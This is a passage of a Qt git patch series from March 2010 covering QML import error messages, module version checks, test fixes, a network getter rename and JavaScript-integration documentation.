"debug="QPLUGIN_DEBUG_STR"\n" \ -- cgit v0.12 From 190b2667b54eff4540e6b204d0cda39847417a52 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 09:26:17 +1000 Subject: Manual merge. --- src/declarative/qml/parser/qdeclarativejs.g | 4 ++- .../qml/parser/qdeclarativejsparser.cpp | 4 ++- .../qml/qdeclarativecompositetypemanager.cpp | 10 ++++-- src/declarative/qml/qdeclarativeengine.cpp | 39 ++++++++++++++++++++-- src/declarative/qml/qdeclarativeengine_p.h | 3 +- src/declarative/qml/qdeclarativemetatype.cpp | 28 ++++++++++++++++ src/declarative/qml/qdeclarativemetatype_p.h | 2 ++ .../qdeclarativedom/data/import/Bar.qml | 2 ++ .../qdeclarativedom/data/importdir/Bar.qml | 2 -- .../qdeclarativedom/data/importlib/sublib/Foo.qml | 2 ++ .../qdeclarativedom/data/importlib/sublib/qmldir | 1 + .../data/importlib/sublib/qmldir/Foo.qml | 2 -- .../qdeclarativedom/tst_qdeclarativedom.cpp | 3 +- .../data/importNewerVersion.errors.txt | 1 + .../data/importNewerVersion.qml | 3 ++ .../data/importNonExist.errors.txt | 1 + .../qdeclarativelanguage/data/importNonExist.qml | 5 +++ .../tst_qdeclarativelanguage.cpp | 2 ++ 18 files changed, 99 insertions(+), 15 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativedom/data/import/Bar.qml delete mode 100644 tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml create mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml create mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir delete mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml diff --git a/src/declarative/qml/parser/qdeclarativejs.g b/src/declarative/qml/parser/qdeclarativejs.g index 493ad25..0256c52 100644 --- a/src/declarative/qml/parser/qdeclarativejs.g +++ b/src/declarative/qml/parser/qdeclarativejs.g @@ -665,7 +665,9 @@ case $rule_number: { sym(1).Node = node; - if (! node) { + if (node) { + node->importToken = loc(1); + } else { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1), QLatin1String("Expected a qualified name id or a string literal"))); diff --git a/src/declarative/qml/parser/qdeclarativejsparser.cpp b/src/declarative/qml/parser/qdeclarativejsparser.cpp index c86e047..9205ef4 100644 --- a/src/declarative/qml/parser/qdeclarativejsparser.cpp +++ b/src/declarative/qml/parser/qdeclarativejsparser.cpp @@ -284,7 +284,9 @@ case 20: { sym(1).Node = node; - if (! node) { + if (node) { + node->importToken = loc(1); + } else { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1), QLatin1String("Expected a qualified name id or a string literal"))); diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index c883805..c59e5e2 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -570,12 +570,15 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData } } + QString errorString; if (!QDeclarativeEnginePrivate::get(engine)-> - addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) + addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type, &errorString)) { QDeclarativeError error; error.setUrl(unit->imports.baseUrl()); - error.setDescription(tr("Import %1 unavailable").arg(imp.uri)); + error.setDescription(errorString); + error.setLine(imp.location.start.line); + error.setColumn(imp.location.start.column); unit->status = QDeclarativeCompositeTypeData::Error; unit->errorType = QDeclarativeCompositeTypeData::GeneralError; unit->errors << error; @@ -605,7 +608,8 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData QLatin1String("."), QString(), -1, -1, - QDeclarativeScriptParser::Import::File); + QDeclarativeScriptParser::Import::File, + 0); // error ignored (just means no fallback) } diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index c49c464..d4872e2 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1517,7 +1517,7 @@ public: - bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) + bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine, QString *errorString) { QDeclarativeDirComponents qmldircomponents = qmldircomponentsnetwork; QString uri = uri_arg; @@ -1576,12 +1576,31 @@ public: } } + if (!found) { + found = QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin); + if (!found) { + if (errorString) { + bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), 0, 0); + if (anyversion) + *errorString = QDeclarativeEngine::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin); + else + *errorString = QDeclarativeEngine::tr("module \"%1\" is not installed").arg(uri_arg); + } + return false; + } + } } else { if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) { QUrl importUrl = base.resolved(QUrl(uri + QLatin1String("/qmldir"))); QString localFileOrQrc = toLocalFileOrQrc(importUrl); if (!localFileOrQrc.isEmpty()) { + QString dir = toLocalFileOrQrc(base.resolved(QUrl(uri))); + if (dir.isEmpty() || !QDir().exists(dir)) { + if (errorString) + *errorString = QDeclarativeEngine::tr("\"%1\": no such directory").arg(uri_arg); + return false; // local import dirs must exist + } uri = resolvedUri(toLocalFileOrQrc(base.resolved(QUrl(uri))), engine); qmldircomponents = importExtension(localFileOrQrc, uri, @@ -1589,6 +1608,20 @@ public: if (uri.endsWith(QLatin1Char('/'))) uri.chop(1); + } else { + if (prefix.isEmpty()) { + // directory must at least exist for valid import + QString localFileOrQrc = toLocalFileOrQrc(base.resolved(QUrl(uri))); + if (localFileOrQrc.isEmpty() || !QDir().exists(localFileOrQrc)) { + if (errorString) { + if (localFileOrQrc.isEmpty()) + *errorString = QDeclarativeEngine::tr("import \"%1\" has no qmldir and no namespace").arg(uri); + else + *errorString = QDeclarativeEngine::tr("\"%1\": no such directory").arg(uri); + } + return false; + } + } } } @@ -1962,12 +1995,12 @@ QString QDeclarativeEnginePrivate::resolvePlugin(const QDir &dir, const QString The base URL must already have been set with Import::setBaseUrl(). */ -bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const +bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QString *errorString) const { QDeclarativeEngine *engine = QDeclarativeEnginePrivate::get(const_cast(this)); if (qmlImportTrace()) qDebug().nospace() << "QDeclarativeEngine::addToImport " << imports << " " << uri << " " << vmaj << '.' << vmin << " " << (importType==QDeclarativeScriptParser::Import::Library? "Library" : "File") << " as " << prefix; - bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine); + bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine, errorString); return ok; } diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 6532d30..06b5027 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -283,7 +283,8 @@ public: bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, - QDeclarativeScriptParser::Import::Type importType) const; + QDeclarativeScriptParser::Import::Type importType, + QString *errorString) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index b32e575..c512d97 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -98,6 +98,13 @@ struct QDeclarativeMetaTypeData typedef QHash StringConverters; StringConverters stringConverters; + struct ModuleInfo { + ModuleInfo(int maj, int min) : vmajor(maj), vminor(min) {} + int vmajor, vminor; + }; + typedef QHash ModuleInfoHash; + ModuleInfoHash modules; + QBitArray objects; QBitArray interfaces; QBitArray lists; @@ -441,9 +448,30 @@ int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterType &t data->objects.setBit(type.typeId, true); if (type.listId) data->lists.setBit(type.listId, true); + if (type.uri) { + QByteArray mod(type.uri); + QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(mod); + if (it == data->modules.end() + || ((*it).vmajor < type.versionMajor || ((*it).vmajor == type.versionMajor && (*it).vminor < type.versionMinor))) { + data->modules.insert(mod, QDeclarativeMetaTypeData::ModuleInfo(type.versionMajor,type.versionMinor)); + } + } + return index; } +/* + Have any types been registered for \a module with at least versionMajor.versionMinor. +*/ +bool QDeclarativeMetaType::isModule(const QByteArray &module, int versionMajor, int versionMinor) +{ + QDeclarativeMetaTypeData *data = metaTypeData(); + QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(module); + return it != data->modules.end() + && ((*it).vmajor > versionMajor || + ((*it).vmajor == versionMajor && (*it).vminor >= versionMinor)); +} + QObject *QDeclarativeMetaType::toQObject(const QVariant &v, bool *ok) { if (!isQObject(v.userType())) { diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 1a36f10..e70b4bf 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -97,6 +97,8 @@ public: typedef QVariant (*StringConverter)(const QString &); static void registerCustomStringConverter(int, StringConverter); static StringConverter customStringConverter(int); + + static bool isModule(const QByteArray &module, int versionMajor, int versionMinor); }; class QDeclarativeTypePrivate; diff --git a/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml new file mode 100644 index 0000000..2d1a4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/import/Bar.qml @@ -0,0 +1,2 @@ +import Qt 4.6 + diff --git a/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml b/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml deleted file mode 100644 index 2d1a4a3..0000000 --- a/tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml +++ /dev/null @@ -1,2 +0,0 @@ -import Qt 4.6 - diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml new file mode 100644 index 0000000..2d1a4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml @@ -0,0 +1,2 @@ +import Qt 4.6 + diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir new file mode 100644 index 0000000..5bdd17b --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir @@ -0,0 +1 @@ +Foo Foo.qml diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml deleted file mode 100644 index 2d1a4a3..0000000 --- a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml +++ /dev/null @@ -1,2 +0,0 @@ -import Qt 4.6 - diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp index 6cd0bdb..adea384 100644 --- a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp +++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp @@ -340,9 +340,8 @@ void tst_qdeclarativedom::loadImports() "Item {}"; QDeclarativeEngine engine; - engine.addImportPath(SRCDIR "/data"); QDeclarativeDomDocument document; - QVERIFY(document.load(&engine, qml)); + QVERIFY(document.load(&engine, qml, QUrl::fromLocalFile(SRCDIR "/data/dummy.qml"))); QCOMPARE(document.imports().size(), 5); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt new file mode 100644 index 0000000..413f096 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt @@ -0,0 +1 @@ +1:1:module "Test" version 2.0 is not installed diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml new file mode 100644 index 0000000..c4a0d38 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml @@ -0,0 +1,3 @@ +import Test 2.0 + +MyTypeObject { } diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt new file mode 100644 index 0000000..1baf05c --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt @@ -0,0 +1 @@ +2:1:"will-not-be-found": no such directory diff --git a/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml new file mode 100644 index 0000000..ec6aa2b --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml @@ -0,0 +1,5 @@ +// imports... +import "will-not-be-found" +import Qt 4.6 + +Rectangle { } diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 9188d72..42426a2 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -264,6 +264,8 @@ void tst_qdeclarativelanguage::errors_data() QTest::newRow("importNamespaceConflict") << "importNamespaceConflict.qml" << "importNamespaceConflict.errors.txt" << false; QTest::newRow("importVersionMissing (builtin)") << "importVersionMissingBuiltIn.qml" << "importVersionMissingBuiltIn.errors.txt" << false; QTest::newRow("importVersionMissing (installed)") << "importVersionMissingInstalled.qml" << "importVersionMissingInstalled.errors.txt" << false; + QTest::newRow("importNonExist (installed)") << "importNonExist.qml" << "importNonExist.errors.txt" << false; + QTest::newRow("importNewerVersion (installed)") << "importNewerVersion.qml" << "importNewerVersion.errors.txt" << false; QTest::newRow("invalidImportID") << "invalidImportID.qml" << "invalidImportID.errors.txt" << false; QTest::newRow("signal.1") << "signal.1.qml" << "signal.1.errors.txt" << false; -- cgit v0.12 From c3d8fef05b011a737ce15791e94aef84d27d1b8f Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 08:37:56 +1000 Subject: Fix test (StoreScriptImported shifted enum values) Adds test for StoreScriptImported. Makes invalid instruction test resistant to future changes. --- .../qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp index 5f6d9a4..c747bfc 100644 --- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp +++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp @@ -507,8 +507,16 @@ void tst_qdeclarativeinstruction::dump() { QDeclarativeInstruction i; + i.line = 48; + i.type = QDeclarativeInstruction::StoreImportedScript; + i.storeScript.value = 2; + data->bytecode << i; + } + + { + QDeclarativeInstruction i; i.line = 50; - i.type = (QDeclarativeInstruction::Type)(QDeclarativeInstruction::Defer + 1); // Non-existant + i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant data->bytecode << i; } @@ -564,7 +572,8 @@ void tst_qdeclarativeinstruction::dump() << "45\t\t47\tPOP_VALUE\t\t35\t8" << "46\t\t48\tDEFER\t\t\t7" << "47\t\tNA\tDEFER\t\t\t7" - << "48\t\t50\tXXX UNKOWN INSTRUCTION\t47" + << "48\t\t48\tSTORE_IMPORTED_SCRIPT\t2" + << "49\t\t50\tXXX UNKOWN INSTRUCTION\t1234" << "-------------------------------------------------------------------------------"; messages = QStringList(); -- cgit v0.12 From 5e3e89bff7699c9a0c1bb43a331b2982eceb8682 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Tue, 23 Mar 2010 10:01:49 +1000 Subject: Rename getter function used in test also. --- tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp b/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp index 9267389..375c839 100644 --- a/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp +++ b/tests/auto/qnetworkaccessmanager/tst_qnetworkaccessmanager.cpp @@ -72,21 +72,21 @@ void tst_QNetworkAccessManager::networkAccessible() QSignalSpy spy(&manager, SIGNAL(networkAccessibleChanged(QNetworkAccessManager::NetworkAccessibility))); - QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::UnknownAccessibility); + QCOMPARE(manager.networkAccessible(), QNetworkAccessManager::UnknownAccessibility); manager.setNetworkAccessible(QNetworkAccessManager::NotAccessible); QCOMPARE(spy.count(), 1); QCOMPARE(spy.takeFirst().at(0).value(), QNetworkAccessManager::NotAccessible); - QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::NotAccessible); + QCOMPARE(manager.networkAccessible(), QNetworkAccessManager::NotAccessible); manager.setNetworkAccessible(QNetworkAccessManager::Accessible); QCOMPARE(spy.count(), 1); QCOMPARE(spy.takeFirst().at(0).value(), QNetworkAccessManager::UnknownAccessibility); - QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::UnknownAccessibility); + QCOMPARE(manager.networkAccessible(), QNetworkAccessManager::UnknownAccessibility); QNetworkConfigurationManager configManager; QNetworkConfiguration defaultConfig = configManager.defaultConfiguration(); @@ -96,14 +96,14 @@ void tst_QNetworkAccessManager::networkAccessible() QCOMPARE(spy.count(), 1); QCOMPARE(spy.takeFirst().at(0).value(), QNetworkAccessManager::Accessible); - QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::Accessible); + QCOMPARE(manager.networkAccessible(), QNetworkAccessManager::Accessible); manager.setNetworkAccessible(QNetworkAccessManager::NotAccessible); QCOMPARE(spy.count(), 1); QCOMPARE(QNetworkAccessManager::NetworkAccessibility(spy.takeFirst().at(0).toInt()), QNetworkAccessManager::NotAccessible); - QCOMPARE(manager.isNetworkAccessible(), QNetworkAccessManager::NotAccessible); + QCOMPARE(manager.networkAccessible(), QNetworkAccessManager::NotAccessible); } } -- cgit v0.12 From 0a20108113e09025618481ac2ffd1157c4b92359 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Tue, 23 Mar 2010 09:56:15 +1000 Subject: Fix mutex handling that was causing tests to sometimes crash/fail. --- src/declarative/qml/qdeclarativeworkerscript.cpp | 4 ++-- .../declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp | 5 ----- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index 10c0b54..a7ed358 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -201,11 +201,11 @@ QScriptValue QDeclarativeWorkerScriptEnginePrivate::sendMessage(QScriptContext * if (!script) return engine->undefinedValue(); - p->m_lock.lock(); + QMutexLocker(&p->m_lock); + if (script->owner) QCoreApplication::postEvent(script->owner, new WorkerDataEvent(0, scriptValueToVariant(ctxt->argument(0)))); - p->m_lock.unlock(); return engine->undefinedValue(); } diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 7a10ad0..576fe21 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -290,8 +290,6 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { - QSKIP("Skip, awaiting imminent fixes", SkipAll); - QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -342,7 +340,6 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { - QSKIP("Skip, awaiting imminent fixes", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -390,8 +387,6 @@ void tst_QDeclarativeListModel::convertNestedToFlat_ok() // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data - QSKIP("Skip, awaiting imminent fixes", SkipAll); - QFETCH(QString, script); QDeclarativeListModel model; -- cgit v0.12 From e436d3a50ad3bcdddbc724f7559d251327170cfe Mon Sep 17 00:00:00 2001 From: Lorn Potter Date: Tue, 23 Mar 2010 11:18:09 +1000 Subject: fix warning --- src/plugins/bearer/corewlan/qcorewlanengine.mm | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index 60c6fbd..449edbd 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -738,7 +738,7 @@ void QCoreWlanEngine::getUserConfigurations() // add user configured system networks SCDynamicStoreRef dynRef = SCDynamicStoreCreate(kCFAllocatorSystemDefault, (CFStringRef)@"Qt corewlan", nil, nil); - CFDictionaryRef airportPlist = (const __CFDictionary*)SCDynamicStoreCopyValue(dynRef, (CFStringRef)[NSString stringWithFormat:@"Setup:/Network/Interface/%@/AirPort", [wifiInterface name]]); + NSDictionary * airportPlist = (NSDictionary *)SCDynamicStoreCopyValue(dynRef, (CFStringRef)[NSString stringWithFormat:@"Setup:/Network/Interface/%@/AirPort", [wifiInterface name]]); CFRelease(dynRef); NSDictionary *prefNetDict = [airportPlist objectForKey:@"PreferredNetworks"]; -- cgit v0.12 From b23c9d8384bed5f7d2758e8cb2cbfbbe49e6c2a0 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Tue, 23 Mar 2010 11:22:23 +1000 Subject: Doc --- doc/src/declarative/declarativeui.qdoc | 2 +- doc/src/declarative/example-slideswitch.qdoc | 2 +- doc/src/declarative/javascriptblocks.qdoc | 175 ++++++++++++++----------- doc/src/declarative/propertybinding.qdoc | 6 +- doc/src/declarative/qdeclarativereference.qdoc | 2 +- doc/src/declarative/qtbinding.qdoc | 5 +- doc/src/declarative/scope.qdoc | 6 +- 7 files changed, 111 insertions(+), 87 deletions(-) diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ed63367..ca4c5da 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -83,7 +83,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \list \o \l {QML Documents} \o \l {Property Binding} -\o \l {JavaScript Blocks} +\o \l {Integrating JavaScript} \o \l {QML Scope} \o \l {Network Transparency} \o \l {Data Models} diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 42351c5..c14208e 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -121,7 +121,7 @@ states (\e on and \e off). This second function is called when the knob is released and we want to make sure that the knob does not end up between states (neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing. -For more information on scripts see \l{qdeclarativejavascript.html}{JavaScript Blocks}. +For more information on scripts see \l{Integrating JavaScript}. \section2 Transition \snippet examples/declarative/slideswitch/content/Switch.qml 7 diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 98183bb..0006967 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -41,95 +41,123 @@ /*! \page qdeclarativejavascript.html -\title JavaScript Blocks +\title Integrating JavaScript QML encourages building UIs declaratively, using \l {Property Binding} and the -composition of existing \l {QML Elements}. If imperative code is required to implement -more advanced behavior, the \l Script element can be used to add JavaScript code directly -to a QML file, or to include an external JavaScript file. +composition of existing \l {QML Elements}. To allow the implementation of more +advanced behavior, QML integrates tightly with imperative JavaScript code. -The \l Script element is a QML language \e intrinsic. It can be used anywhere in a -QML file, \e except as the root element of a file or sub-component, but cannot be -assigned to an object property or given an id. The included JavaScript is evaluated -in a scope chain. The \l {QML Scope} documentation covers the specifics of scoping -in QML. +The JavaScript environment provided by QML is stricter than that in a webbrowser. +In QML you cannot add, or modify, members of the JavaScript global object. It +is possible to do this accidentally by using a variable without declaring it. In +QML this will throw an exception, so all local variables should be explicitly +declared. -A restriction on the JavaScript used in QML is that you cannot add new members to the -global object. This happens transparently when you try to use a variable without -declaring it, and so declaring local variables is required when using Java script in -QML. +In addition to the standard JavaScript properties, the \l {QML Global Object} +includes a number of helper methods that simplify building UIs and interacting +with the QML environment. -The global object in QML has a variety of helper functions added to it, to aid UI -implementation. See \l{QML Global Object} for further details. +\section1 Inline JavaScript -Note that if you are adding a function that should be called by external elements, -you do not need the \l Script element. See \l {Extending types from QML#Adding new methods} -{Adding new methods} for information about adding slots that can be called externally. - -\section1 Inline Script - -Small blocks of JavaScript can be included directly inside a \l {QML Document} as -the body of the \l Script element. +Small JavaScript functions can be written inline with other QML declarations. +These inline functions are added as methods to the QML element that contains +them. \code -Rectangle { - Script { - function factorial(a) { - a = Integer(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } +Item { + function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); + } + + MouseRegion { + anchors.fill: parent + onClicked: print(factorial(10)) } } \endcode -Good programming practice dictates that only small script snippets should be written -inline. QML prohibits the declaration of anything other than functions in an inline -script block. For example, the following script is illegal as an inline script block -as it declares the non-function variable \c lastResult. +As methods, inline functions on the root element in a QML component can be +invoked by callers outside the component. If this is not desired, the method +can be added to a non-root element or, preferably, written in an external +JavaScript file. + +\section1 Separate JavaScript files + +Large blocks of JavaScript should be written in separate files. Like element +types, external JavaScript files are \c {import}'ed into QML files. + +The \c {factorial()} method used in the \l {Inline JavaScript} section could +be refactored into an external file, and accessed like this. \code -// Illegal inline code block -var lastResult = 0 -function factorial(a) { - a = Integer(a); - if (a <= 0) - lastResult = 1; - else - lastResult = a * factorial(a - 1); - return lastResult; +import "factorial.js" as MathFunctions +Item { + MouseRegion { + anchors.fill: parent + onClicked: print(MathFunctions.factorial(10)) + } } \endcode -\section1 Including an External File +Both relative and absolute JavaScript URLs can be imported. In the case of a +relative URL, the location is resolved relative to the location of the +\l {QML Document} that contains the import. If the script file is not accessible, +an error will occur. If the JavaScript needs to be fetched from a network +resource, the QML document will remain in the +\l {QDeclarativeComponent::status()}{waiting state} until the script has been +downloaded. -To avoid cluttering the QML file, large script blocks should be in a separate file. -The \l Script element's \c source property is used to load script from an external -file. +Imported JavaScript files are always qualified using the "as" keyword. The +qualifier for JavaScript files must be unique, so there is always a one-to-one +mapping between qualifiers and JavaScript files. -If the previous factorial code that was illegal as an inline script block was saved -into a "factorial.js" file, it could be included like this. +\section2 Code-Behind Implementation Files + +Most JavaScript files imported into a QML file are stateful, logic implementations +for the QML file importing them. In these cases, for QML component instances to +behave correctly each instance requires a separate copy of the JavaScript objects +and state. + +The default behavior when importing JavaScript files is to provide a unique, isolated +copy for each QML component instance. The code runs in the same scope as the QML +component instance and consequently can can access and manipulate the objects and +properties declared. + +\section2 Stateless JavaScript libraries + +Some JavaScript files act more like libraries - they provide a set of stateless +helper functions that take input and compute output, but never manipulate QML +component instances directly. + +As it would be wasteful for each QML component instance to have a unique copy of +these libraries, the JavaScript programmer can indicate a particular file is a +stateless library through the use of a pragma, as shown in the following example. \code -Rectangle { - Script { - source: "factorial.js" - } +.pragma library + +function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); } \endcode -The \c source property may reference a relative file, or an absolute path. In the -case of a relative file, the location is resolved relative to the location of the -\l {QML Document} that contains the \l Script element. If the script file is not -accessible, an error will occur. If the source is on a network resource, the -enclosing QML document will remain in 